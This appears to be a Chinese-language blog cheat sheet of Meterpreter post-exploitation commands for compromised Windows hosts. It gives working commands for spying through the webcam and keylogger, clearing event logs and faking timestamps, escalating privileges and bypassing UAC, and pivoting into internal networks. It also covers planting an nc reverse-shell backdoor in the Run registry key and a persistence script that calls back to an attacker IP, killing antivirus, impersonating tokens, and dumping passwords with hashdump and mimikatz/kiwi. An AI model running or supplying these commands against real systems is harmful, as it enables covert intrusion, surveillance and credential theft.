一、系统命令
1.基本命令
sessions -i #进入会话 -k#杀死会话 background #将当前会话放置后台 run #执行已有模块 getuid #查看权限 getpid #查看当前进程的pid sysinfo #查看系统信息 ps #查看当前活跃进程n shell #进入目标cmd shell
2.摄像头命令
webcam_list #查看摄像头 webcam_snap #通过摄像头拍照 webcam_stream #通过摄像头开启视频
如果系统不存在摄像头的话就会报错
开启摄像头会弹出一个web网页,进行远程观看,但是我在我的服务器上利用ssh连接测试没有浏览器,所以会报错,照片保存在一定路径,直接去下载查看也是一样的,会有提示。
3.系统命令
execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互
如何不加 -H 对方主机会出现一个黑框cmd
还有-m 是在内存中运行
4.进程迁移
getpid # 获取当前进程的pid ps # 查看当前活跃进程 migrate <pid值> #将Meterpreter会话移植到指定pid值进程中 kill <pid值> #杀死进程
注入到explorer进程里面 对方主机重启后还是会系统反弹shell
5.清除日志
clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限
二、文件系统命令
1.基本文件系统命令
getwd 或者 pwd # 查看当前工作目录 ls cd cat C://Users//dayu//Desktop//dayu.txt # 查看文件内容 upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop # 上传文件到目标机上 download C://Users//dayu//Desktop//dayu.txt /root/Desktop/ # 下载文件到本机上 edit C://Users//dayu//Desktop//1.txt #会进入编辑模式,编辑或创建文件,没有的话,会新建文件 rm C://Users//dayu//Desktop//1.txt #删除文件 mkdir lltest2 #只能在当前目录下创建文件夹 rmdir lltest2 #只能删除当前目录下文件夹 getlwd 或者 lpwd #操作攻击者主机 查看当前目录 lcd /tmp #操作攻击者主机 切换目录
2.伪造时间戳
timestomp -v C:/phpStudy/manual.chm #查看时间戳 timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
3.搜索文件
search -f *dayu*.exe #全局搜索dayu.exe这个文件
4.映射端口
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口 rdesktop 127.0.0.1:6666 #kali远程桌面使用6666端口
5.添加路由
扫描整个目标内网
run autoroute -s 10.10.10.0/24 #添加到目标环境网络 run autoroute –p #查看添加的路由 run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机 run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389 #检查IP是否开放3389
6.socks4a代理
之前有一篇博客讲到,汇总了代理的几种方法
三、信息收集
/usr/share/metasploit-framework/modules/post/windows/gather /usr/share/metasploit-framework/modules/post/linux/gather 解释: run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找域控
四、提权
1.getsystem
1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 3、Windows服务已启动,导致与命名管道建立连接。 4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
2.bypassuac
有下面四个模块
use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection use windows/local/bypassuac_vbs use windows/local/ask
例如:
msf > use exploit/windows/local/bypassuac msf > set SESSION 5 #选择当前会话 msf > run
3.内核提权
可先利用enum_patches
模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接
meterpreter > run post/windows/gather/enum_patches #查看补丁信息 msf > use exploit/windows/.... #利用未打补丁的模块即可 msf > set SESSION 5 msf > exploit
五、远程桌面
enumdesktops #查看可用的桌面 getdesktop #获取当前meterpreter 关联的桌面 set_desktop #设置meterpreter关联的桌面 -h查看帮助 screenshot #截屏 use espia #或者使用espia模块截屏 然后输入screengrab run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
run post/windows/manage/enable_rdp #开启远程桌面 run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 #添加用户 run post/windows/manage/enable_rdp FORWARD=true LPORT=9998 #将3389端口转发到9998
六、键盘记录
keyscan_start #开始键盘记录 keyscan_dump #导出记录数据 keyscan_stop #结束键盘记录
七、设置开机启动
1.注册表
upload /root/Desktop/nc64.exe C://Users//dayu//Desktop #上传nc,前面的是你要上传文件的位置 reg enumkey -k HKLM\software\microsoft\windows\currentversion\run #枚举run下的key reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' #设置键值 reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc #查看键值 nc -v 192.168.0.142 443 #攻击者连接nc后门
2.persistence
run persistence –h #查看帮助 run persistence -X -i 5 -p 4444 -r 192.168.175.145 #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
可看到在目标机的C:UsersdayuAppDataLocalTempebagFvdP.vbs下建立了vbs文件,开机会启动这个文件上面的vbs文件…
监听写反弹时间间隔是5s 端口是443 Metasploit服务器Ip是192.168.175.145。
缺点是容易被杀毒软件查杀!
3.metsvc自动安装后门
run metsvc –h # 查看帮助 run metsvc –A #自动安装后门
可看到自动在C:UsersdayuAppDataLocalTempccNTBztKL生成三个文件,并把Meterpreter自动放在服务自启中
set payload windows/metsvc_bind_tcp
并把port设置31337端口即可...连接
八、令牌操控
use incognito #进入incognito模式 help incognito #查看帮助 list_tokens -u #查看可用的token impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token,或者用下面的 #impersonate_token NT AUTHORITY\SYSTEM #不加单引号 需使用\ execute -f cmd.exe -i –t # -t 使用假冒的token执行或者直接shell rev2self #返回原始token
九、关闭杀软
meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机
十、抓取密码
run hashdump run windows/gather/smart_hashdump run windows/gather/credentials/windows_autologin //有时候会有自动登陆的密码
load mimikatz //使用mimikatz
这里本来是要利用mimikatz进行密码获取的,但是发现现在kiwi把mimikatz包含进去了…
报错解释又得回归到kiwi原理上:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
ps //查看进程
migrate 504 //随便进入一个进程
help wiki
creds_all //列举所有凭据
kiwi_cmd sekurlsa::logonpasswords //和mimika 功能一样